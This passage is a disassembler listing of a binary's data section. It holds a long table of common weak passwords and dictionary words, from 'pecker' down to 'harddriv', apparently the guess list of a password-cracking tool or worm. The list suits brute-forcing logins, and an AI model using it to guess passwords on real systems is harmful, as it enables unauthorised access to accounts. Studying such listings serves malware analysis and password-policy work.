aPecker		db 'pecker',0           ; DATA XREF: _2:00430978o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: _2:00430974o
aPaula		db 'paula',0            ; DATA XREF: _2:00430970o
		align 4
aPatty		db 'patty',0            ; DATA XREF: _2:0043096Co
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: _2:00430968o
aPatricia	db 'patricia',0         ; DATA XREF: _2:00430964o
		align 4
aPaste		db 'paste',0            ; DATA XREF: _2:00430960o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: _2:0043095Co
		align 4
aPascal		db 'pascal',0           ; DATA XREF: _2:00430958o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: _2:00430954o
		align 4
aPaper		db 'paper',0            ; DATA XREF: _2:00430950o
		align 10h
aPapa		db 'papa',0             ; DATA XREF: _2:0043094Co
		align 4
aPamela		db 'pamela',0           ; DATA XREF: _2:00430948o
		align 10h
aPakistan	db 'pakistan',0         ; DATA XREF: _2:00430944o
		align 4
aPaint		db 'paint',0            ; DATA XREF: _2:00430940o
		align 4
aPainless	db 'painless',0         ; DATA XREF: _2:0043093Co
		align 10h
aPacker		db 'packer',0           ; DATA XREF: _2:00430938o
		align 4
aPackard	db 'packard',0          ; DATA XREF: _2:00430934o
aPacific	db 'pacific',0          ; DATA XREF: _2:00430930o
aOxford		db 'oxford',0           ; DATA XREF: _2:0043092Co
		align 10h
aOutside	db 'outside',0          ; DATA XREF: _2:00430928o
aOutput		db 'output',0           ; DATA XREF: _2:00430924o
		align 10h
aOutlaw		db 'outlaw',0           ; DATA XREF: _2:00430920o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: _2:0043091Co
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: _2:00430918o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: _2:00430914o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: _2:00430910o
		align 4
aOrient		db 'orient',0           ; DATA XREF: _2:0043090Co
		align 4
aOrca		db 'orca',0             ; DATA XREF: _2:00430908o
		align 4
aOperator	db 'operator',0         ; DATA XREF: _2:00430904o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: _2:00430900o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: _2:004308FCo
		align 10h
aOpening	db 'opening',0          ; DATA XREF: _2:004308F8o
aOmega		db 'omega',0            ; DATA XREF: _2:004308F0o
		align 10h
aOlivia		db 'olivia',0           ; DATA XREF: _2:004308ECo
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: _2:004308E8o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: _2:004308E4o
		align 4
aOkay		db 'okay',0             ; DATA XREF: _2:004308E0o
		align 4
aOffice		db 'office',0           ; DATA XREF: _2:004308DCo
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: _2:004308D8o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: _2:004308D4o
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: _2:004308D0o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: _2:004308CCo
aNuts		db 'nuts',0             ; DATA XREF: _2:004308C8o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: _2:004308C4o
		align 4
aNumber		db 'number',0           ; DATA XREF: _2:004308C0o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: _2:004308BCo
		align 4
aNukem		db 'nukem',0            ; DATA XREF: _2:004308B8o
		align 10h
aNuke		db 'nuke',0             ; DATA XREF: _2:004308B4o
		align 4
aNude		db 'nude',0             ; DATA XREF: _2:004308B0o
		align 10h
aNuclear	db 'nuclear',0          ; DATA XREF: _2:004308ACo
aNoxious	db 'noxious',0          ; DATA XREF: _2:004308A8o
aNovember	db 'november',0         ; DATA XREF: _2:004308A4o
		align 4
aNovel		db 'novel',0            ; DATA XREF: _2:004308A0o
		align 4
aNova		db 'nova',0             ; DATA XREF: _2:0043089Co
		align 4
aNoth		db 'noth',0             ; DATA XREF: _2:00430898o
		align 4
aNotes		db 'notes',0            ; DATA XREF: _2:00430894o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: _2:00430890o
		align 4
aNode		db 'node',0             ; DATA XREF: _2:0043088Co
		align 4
aNobody		db 'nobody',0           ; DATA XREF: _2:00430888o
		align 4
aNoble		db 'noble',0            ; DATA XREF: _2:00430884o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: _2:00430880o
		align 4
aNita		db 'nita',0             ; DATA XREF: _2:0043087Co
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: _2:00430878o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: _2:00430874o
		align 4
aNight		db 'night',0            ; DATA XREF: _2:00430870o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: _2:0043086Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: _2:00430868o
		align 10h
aNice		db 'nice',0             ; DATA XREF: _2:00430864o
		align 4
aNext		db 'next',0             ; DATA XREF: _2:00430860o
		align 10h
aNewyork	db 'newyork',0          ; DATA XREF: _2:0043085Co
aNewton		db 'newton',0           ; DATA XREF: _2:00430858o
		align 10h
aNewsgrou	db 'newsgrou',0         ; DATA XREF: _2:00430854o
		align 4
aNews		db 'news',0             ; DATA XREF: _2:00430850o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: _2:0043084Co
aNetwork_0	db 'network',0          ; DATA XREF: _2:00430848o
aNetscape	db 'netscape',0         ; DATA XREF: _2:00430844o
		align 10h
aNess		db 'ness',0             ; DATA XREF: _2:00430840o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: _2:0043083Co
aNepenthe	db 'nepenthe',0         ; DATA XREF: _2:00430838o
		align 4
aNavy		db 'navy',0             ; DATA XREF: _2:00430834o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: _2:00430830o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: _2:0043082Co
		align 4
aNancy		db 'nancy',0            ; DATA XREF: _2:00430828o
		align 10h
aName		db 'name',0             ; DATA XREF: _2:00430824o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: _2:00430820o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: _2:0043081Co
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: _2:00430818o
aMsdos		db 'msdos',0            ; DATA XREF: _2:00430814o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: _2:00430810o
		align 10h
aMozart		db 'mozart',0           ; DATA XREF: _2:0043080Co
		align 4
aMovies		db 'movies',0           ; DATA XREF: _2:00430808o
		align 10h
aMovie		db 'movie',0            ; DATA XREF: _2:00430804o
		align 4
aMove		db 'move',0             ; DATA XREF: _2:00430800o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: _2:004307FCo
		align 4
aMountain	db 'mountain',0         ; DATA XREF: _2:004307F8o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: _2:004307F4o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: _2:004307F0o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: _2:004307ECo
		align 4
aMortal		db 'mortal',0           ; DATA XREF: _2:004307E8o
		align 4
aMorris		db 'morris',0           ; DATA XREF: _2:004307E4o
		align 4
aMorley		db 'morley',0           ; DATA XREF: _2:004307E0o
		align 4
aMore		db 'more',0             ; DATA XREF: _2:004307DCo
		align 4
aMoose		db 'moose',0            ; DATA XREF: _2:004307D8o
		align 4
aMoor		db 'moor',0             ; DATA XREF: _2:004307D4o
		align 4
aMoom		db 'moom',0             ; DATA XREF: _2:004307D0o
		align 4
aMonica		db 'monica',0           ; DATA XREF: _2:004307CCo
		align 4
aMonday		db 'monday',0           ; DATA XREF: _2:004307C8o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: _2:004307C4o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: _2:004307C0o
		align 4
aModem		db 'modem',0            ; DATA XREF: _2:004307BCo
		align 4
aMode		db 'mode',0             ; DATA XREF: _2:004307B8o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: _2:004307B4o
		align 4
aMission	db 'mission',0          ; DATA XREF: _2:004307B0o
aMisfit		db 'misfit',0           ; DATA XREF: _2:004307ACo
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: _2:004307A8o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: _2:004307A4o
aMine		db 'mine',0             ; DATA XREF: _2:004307A0o
		align 4
aMike		db 'mike',0             ; DATA XREF: _2:0043079Co
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: _2:00430798o
		align 10h
aMicrosof	db 'microsof',0         ; DATA XREF: _2:00430794o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: _2:00430790o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: _2:0043078Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: _2:00430788o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: _2:00430784o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: _2:00430780o
		align 10h
aMichele	db 'michele',0          ; DATA XREF: _2:0043077Co
aMichelan	db 'michelan',0         ; DATA XREF: _2:00430778o
		align 4
aMichel		db 'michel',0           ; DATA XREF: _2:00430774o
		align 4
aMichael	db 'michael',0          ; DATA XREF: _2:00430770o
aMice		db 'mice',0             ; DATA XREF: _2:0043076Co
		align 4
aMets		db 'mets',0             ; DATA XREF: _2:00430768o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: _2:00430764o
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: _2:00430760o
		align 4
aMetal		db 'metal',0            ; DATA XREF: _2:0043075Co
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: _2:00430758o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: _2:00430754o
aMenu		db 'menu',0             ; DATA XREF: _2:00430750o
		align 4
aMenace		db 'menace',0           ; DATA XREF: _2:0043074Co
		align 4
aMemory		db 'memory',0           ; DATA XREF: _2:00430748o
		align 4
aMember		db 'member',0           ; DATA XREF: _2:00430744o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: _2:00430740o
aMellon		db 'mellon',0           ; DATA XREF: _2:0043073Co
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: _2:00430738o
aMegan		db 'megan',0            ; DATA XREF: _2:00430734o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: _2:00430730o
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: _2:0043072Co
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: _2:00430728o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: _2:00430724o
aMath		db 'math',0             ; DATA XREF: _2:00430720o
		align 4
aMaster		db 'master',0           ; DATA XREF: _2:0043071Co
		align 4
aMason		db 'mason',0            ; DATA XREF: _2:00430718o
		align 4
aMary		db 'mary',0             ; DATA XREF: _2:00430714o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: _2:00430710o
		align 4
aMarty		db 'marty',0            ; DATA XREF: _2:0043070Co
		align 4
aMars		db 'mars',0             ; DATA XREF: _2:00430708o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: _2:00430704o
		align 10h
aMarni		db 'marni',0            ; DATA XREF: _2:00430700o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: _2:004306FCo
		align 10h
aMark		db 'mark',0             ; DATA XREF: _2:004306F8o
		align 4
aMarines	db 'marines',0          ; DATA XREF: _2:004306F4o
aMarijuan	db 'marijuan',0         ; DATA XREF: _2:004306F0o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: _2:004306ECo
		align 4
aMariens	db 'mariens',0          ; DATA XREF: _2:004306E8o
aMaria		db 'maria',0            ; DATA XREF: _2:004306E4o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: _2:004306E0o
		align 10h
aMarci		db 'marci',0            ; DATA XREF: _2:004306DCo
		align 4
aMara		db 'mara',0             ; DATA XREF: _2:004306D8o
		align 10h
aManager	db 'manager',0          ; DATA XREF: _2:004306D4o
aMana		db 'mana',0             ; DATA XREF: _2:004306D0o
		align 10h
aMalcom		db 'malcom',0           ; DATA XREF: _2:004306CCo
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: _2:004306C8o
aMaint		db 'maint',0            ; DATA XREF: _2:004306C4o
		align 4
aMail		db 'mail',0             ; DATA XREF: _2:004306C0o
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: _2:004306BCo
		align 4
aMagic		db 'magic',0            ; DATA XREF: _2:004306B8o
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: _2:004306B4o
		align 4
aMacro		db 'macro',0            ; DATA XREF: _2:004306B0o
		align 10h
aMack		db 'mack',0             ; DATA XREF: _2:004306ACo
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: _2:004306A8o
		align 4
aMachine	db 'machine',0          ; DATA XREF: _2:004306A4o
aLynne		db 'lynne',0            ; DATA XREF: _2:004306A0o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: _2:0043069Co
		align 4
aLust		db 'lust',0             ; DATA XREF: _2:00430698o
		align 4
aLuke		db 'luke',0             ; DATA XREF: _2:00430694o
		align 4
aLude		db 'lude',0             ; DATA XREF: _2:00430690o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: _2:0043068Co
		align 4
aLucus		db 'lucus',0            ; DATA XREF: _2:00430688o
		align 4
aLuck		db 'luck',0             ; DATA XREF: _2:00430684o
		align 4
aLover		db 'lover',0            ; DATA XREF: _2:00430680o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: _2:0043067Co
aLouis		db 'louis',0            ; DATA XREF: _2:00430678o
		align 4
aLoser		db 'loser',0            ; DATA XREF: _2:00430674o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: _2:00430670o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: _2:0043066Co
		align 10h
aLori		db 'lori',0             ; DATA XREF: _2:00430668o
		align 4
aLore		db 'lore',0             ; DATA XREF: _2:00430664o
		align 10h
aLoose		db 'loose',0            ; DATA XREF: _2:00430660o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: _2:0043065Co
		align 10h
aLois		db 'lois',0             ; DATA XREF: _2:00430658o
		align 4
aLogout		db 'logout',0           ; DATA XREF: _2:00430654o
		align 10h
aLoginwor	db 'loginwor',0         ; DATA XREF: _2:00430650o
		align 4
aLogic		db 'logic',0            ; DATA XREF: _2:0043064Co
		align 4
aLockword	db 'lockword',0         ; DATA XREF: _2:00430648o
		align 10h
aLockout	db 'lockout',0          ; DATA XREF: _2:00430644o
aLock		db 'lock',0             ; DATA XREF: _2:00430640o
		align 10h
aLoad		db 'load',0             ; DATA XREF: _2:0043063Co
		align 4
aLive		db 'live',0             ; DATA XREF: _2:00430638o
		align 10h
aLiteratu	db 'literatu',0         ; DATA XREF: _2:00430634o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: _2:00430630o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: _2:0043062Co
		align 4
aLips		db 'lips',0             ; DATA XREF: _2:00430628o
		align 4
aLion		db 'lion',0             ; DATA XREF: _2:00430624o
		align 4
aLink		db 'link',0             ; DATA XREF: _2:00430620o
		align 4
aLinda		db 'linda',0            ; DATA XREF: _2:0043061Co
		align 4
aLimited	db 'limited',0          ; DATA XREF: _2:00430618o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: _2:00430614o
		align 10h
aLima		db 'lima',0             ; DATA XREF: _2:00430610o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: _2:0043060Co
		align 4
aLight		db 'light',0            ; DATA XREF: _2:00430608o
		align 4
aLife		db 'life',0             ; DATA XREF: _2:00430604o
		align 4
aLicker		db 'licker',0           ; DATA XREF: _2:00430600o
		align 4
aLick		db 'lick',0             ; DATA XREF: _2:004305FCo
		align 4
aLibrary	db 'library',0          ; DATA XREF: _2:004305F8o
aLiberal	db 'liberal',0          ; DATA XREF: _2:004305F4o
aLexluthe	db 'lexluthe',0         ; DATA XREF: _2:004305F0o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: _2:004305ECo
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: _2:004305E8o
aLeslie		db 'leslie',0           ; DATA XREF: _2:004305E4o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: _2:004305E0o
aLeroy		db 'leroy',0            ; DATA XREF: _2:004305DCo
		align 4
aLeland		db 'leland',0           ; DATA XREF: _2:004305D8o
		align 10h
aLegal		db 'legal',0            ; DATA XREF: _2:004305D4o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: _2:004305D0o
		align 4
aLeft		db 'left',0             ; DATA XREF: _2:004305CCo
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: _2:004305C8o
		align 4
aLeah		db 'leah',0             ; DATA XREF: _2:004305C4o
		align 10h
aLazer		db 'lazer',0            ; DATA XREF: _2:004305C0o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: _2:004305BCo
aLava		db 'lava',0             ; DATA XREF: _2:004305B8o
		align 4
aLaura		db 'laura',0            ; DATA XREF: _2:004305B4o
		align 10h
aLaser		db 'laser',0            ; DATA XREF: _2:004305B0o
		align 4
aLarry		db 'larry',0            ; DATA XREF: _2:004305ACo
		align 10h
aLarkin		db 'larkin',0           ; DATA XREF: _2:004305A8o
		align 4
aLara		db 'lara',0             ; DATA XREF: _2:004305A4o
		align 10h
aLaptop		db 'laptop',0           ; DATA XREF: _2:004305A0o
		align 4
aLana		db 'lana',0             ; DATA XREF: _2:0043059Co
		align 10h
aLaminati	db 'laminati',0         ; DATA XREF: _2:00430598o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: _2:00430594o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: _2:00430590o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: _2:0043058Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: _2:00430588o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: _2:00430584o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: _2:00430580o
		align 10h
aKristin	db 'kristin',0          ; DATA XREF: _2:0043057Co
aKristie	db 'kristie',0          ; DATA XREF: _2:00430578o
aKristi		db 'kristi',0           ; DATA XREF: _2:00430574o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: _2:00430570o
aKrista		db 'krista',0           ; DATA XREF: _2:0043056Co
		align 4
aKnown		db 'known',0            ; DATA XREF: _2:00430568o
		align 10h
aKnightma	db 'knightma',0         ; DATA XREF: _2:00430564o
		align 4
aKnight		db 'knight',0           ; DATA XREF: _2:00430560o
		align 4
aKnife		db 'knife',0            ; DATA XREF: _2:0043055Co
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: _2:00430558o
aKitten		db 'kitten',0           ; DATA XREF: _2:00430554o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: _2:00430550o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: _2:0043054Co
		align 10h
aKirkland	db 'kirkland',0         ; DATA XREF: _2:00430548o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: _2:00430544o
		align 4
aKing		db 'king',0             ; DATA XREF: _2:00430540o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: _2:0043053Co
		align 4
aKilo		db 'kilo',0             ; DATA XREF: _2:00430538o
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: _2:00430534o
		align 4
aKill		db 'kill',0             ; DATA XREF: _2:00430530o
		align 4
aKids		db 'kids',0             ; DATA XREF: _2:0043052Co
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: _2:00430528o
aKeyin		db 'keyin',0            ; DATA XREF: _2:00430524o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: _2:00430520o
aKewl		db 'kewl',0             ; DATA XREF: _2:0043051Co
		align 4
aKevin		db 'kevin',0            ; DATA XREF: _2:00430518o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: _2:00430514o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: _2:00430510o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: _2:0043050Co
		align 4
aKernel		db 'kernel',0           ; DATA XREF: _2:00430508o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: _2:00430504o
		align 4
aKeri		db 'keri',0             ; DATA XREF: _2:00430500o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: _2:004304FCo
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: _2:004304F8o
aKatina		db 'katina',0           ; DATA XREF: _2:004304F4o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: _2:004304F0o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: _2:004304ECo
		align 10h
aKathleen	db 'kathleen',0         ; DATA XREF: _2:004304E8o
		align 4
aKate		db 'kate',0             ; DATA XREF: _2:004304E4o
		align 4
aKatana		db 'katana',0           ; DATA XREF: _2:004304E0o
		align 4
aKarina		db 'karina',0           ; DATA XREF: _2:004304DCo
		align 4
aKarie		db 'karie',0            ; DATA XREF: _2:004304D8o
		align 4
aKaren		db 'karen',0            ; DATA XREF: _2:004304D4o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: _2:004304D0o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: _2:004304CCo
aJune		db 'june',0             ; DATA XREF: _2:004304C8o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: _2:004304C4o
		align 4
aJulie		db 'julie',0            ; DATA XREF: _2:004304C0o
		align 4
aJulia		db 'julia',0            ; DATA XREF: _2:004304BCo
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: _2:004304B8o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: _2:004304B4o
		align 4
aJudy		db 'judy',0             ; DATA XREF: _2:004304B0o
		align 4
aJudith		db 'judith',0           ; DATA XREF: _2:004304ACo
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: _2:004304A8o
		align 4
aJournal	db 'journal',0          ; DATA XREF: _2:004304A4o
aJoshua		db 'joshua',0           ; DATA XREF: _2:004304A0o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: _2:0043049Co
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: _2:00430498o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: _2:00430494o
aJohn		db 'john',0             ; DATA XREF: _2:00430490o
		align 4
aJody		db 'jody',0             ; DATA XREF: _2:0043048Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: _2:00430488o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: _2:00430484o
		align 4
aJill		db 'jill',0             ; DATA XREF: _2:00430480o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: _2:0043047Co
aJester		db 'jester',0           ; DATA XREF: _2:00430478o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: _2:00430474o
aJerusale	db 'jerusale',0         ; DATA XREF: _2:00430470o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: _2:0043046Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: _2:00430468o
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: _2:00430464o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: _2:00430460o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: _2:0043045Co
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: _2:00430458o
		align 4
aJean		db 'jean',0             ; DATA XREF: _2:00430454o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: _2:00430450o
		align 4
aJava		db 'java',0             ; DATA XREF: _2:0043044Co
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: _2:00430448o
		align 4
aJapan		db 'japan',0            ; DATA XREF: _2:00430444o
		align 4
aJanie		db 'janie',0            ; DATA XREF: _2:00430440o
		align 4
aJanice		db 'janice',0           ; DATA XREF: _2:0043043Co
		align 4
aJanet		db 'janet',0            ; DATA XREF: _2:00430438o
		align 4
aJane		db 'jane',0             ; DATA XREF: _2:00430434o
		align 4
aJail		db 'jail',0             ; DATA XREF: _2:00430430o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: _2:0043042Co
		align 4
aIsis		db 'isis',0             ; DATA XREF: _2:00430428o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: _2:00430424o
		align 10h
aIrene		db 'irene',0            ; DATA XREF: _2:00430420o
		align 4
aInvent		db 'invent',0           ; DATA XREF: _2:0043041Co
		align 10h
aInteger	db 'integer',0          ; DATA XREF: _2:00430418o
aInside		db 'inside',0           ; DATA XREF: _2:00430414o
		align 10h
aInput		db 'input',0            ; DATA XREF: _2:00430410o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: _2:0043040Co
		align 4
aInna		db 'inna',0             ; DATA XREF: _2:00430408o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: _2:00430404o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: _2:00430400o
aIngres		db 'ingres',0           ; DATA XREF: _2:004303FCo
		align 4
aIndians	db 'indians',0          ; DATA XREF: _2:004303F8o
aIndiana	db 'indiana',0          ; DATA XREF: _2:004303F4o
aIndian		db 'indian',0           ; DATA XREF: _2:004303F0o
		align 4
aIndia		db 'india',0            ; DATA XREF: _2:004303ECo
		align 4
aInclude	db 'include',0          ; DATA XREF: _2:004303E8o
aImperial	db 'imperial',0         ; DATA XREF: _2:004303E4o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: _2:004303E0o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: _2:004303DCo
		align 10h
aImage		db 'image',0            ; DATA XREF: _2:004303D8o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: _2:004303D4o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: _2:004303D0o
		align 10h
aHypertxt	db 'hypertxt',0         ; DATA XREF: _2:004303CCo
		align 4
aHyper		db 'hyper',0            ; DATA XREF: _2:004303C8o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: _2:004303C4o
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: _2:004303C0o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: _2:004303BCo
		align 4
aHunt		db 'hunt',0             ; DATA XREF: _2:004303B8o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: _2:004303B4o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: _2:004303B0o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: _2:004303ACo
		align 4
aHost		db 'host',0             ; DATA XREF: _2:004303A8o
		align 4
aHorus		db 'horus',0            ; DATA XREF: _2:004303A4o
		align 4
aHorse		db 'horse',0            ; DATA XREF: _2:004303A0o
		align 4
aHorror		db 'horror',0           ; DATA XREF: _2:0043039Co
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: _2:00430398o
		align 10h
aHorny		db 'horny',0            ; DATA XREF: _2:00430394o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: _2:00430390o
aHooker		db 'hooker',0           ; DATA XREF: _2:0043038Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: _2:00430388o
		align 10h
aHomework	db 'homework',0         ; DATA XREF: _2:00430384o
		align 4
aHomer		db 'homer',0            ; DATA XREF: _2:00430380o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: _2:0043037Co
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: _2:00430378o
		align 4
aHolly		db 'holly',0            ; DATA XREF: _2:00430374o
		align 4
aHole		db 'hole',0             ; DATA XREF: _2:00430370o
		align 4
aHits		db 'hits',0             ; DATA XREF: _2:0043036Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: _2:00430368o
		align 4
aHighland	db 'highland',0         ; DATA XREF: _2:00430364o
		align 4
aHigh		db 'high',0             ; DATA XREF: _2:00430360o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: _2:0043035Co
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: _2:00430358o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: _2:00430354o
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: _2:00430350o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: _2:0043034Co
aHeroin		db 'heroin',0           ; DATA XREF: _2:00430348o
		align 4
aHero		db 'hero',0             ; DATA XREF: _2:00430344o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: _2:00430340o
aHerb		db 'herb',0             ; DATA XREF: _2:0043033Co
		align 4
aHelp		db 'help',0             ; DATA XREF: _2:00430338o
		align 4
aHello		db 'hello',0            ; DATA XREF: _2:00430334o
		align 4
aHell		db 'hell',0             ; DATA XREF: _2:00430330o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: _2:0043032Co
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: _2:00430328o
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: _2:00430324o
		align 4
aHeather	db 'heather',0          ; DATA XREF: _2:00430320o
aHeathen	db 'heathen',0          ; DATA XREF: _2:0043031Co
aHeat		db 'heat',0             ; DATA XREF: _2:00430318o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: _2:00430314o
		align 10h
aHead		db 'head',0             ; DATA XREF: _2:00430310o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: _2:0043030Co
		align 10h
aHaven		db 'haven',0            ; DATA XREF: _2:00430308o
		align 4
aHate		db 'hate',0             ; DATA XREF: _2:00430304o
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: _2:00430300o
		align 4
aHarold		db 'harold',0           ; DATA XREF: _2:004302FCo
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: _2:004302F8o
aHarddriv	db 'harddriv',0         ; DATA XREF: _2:004302F4o
		align 4
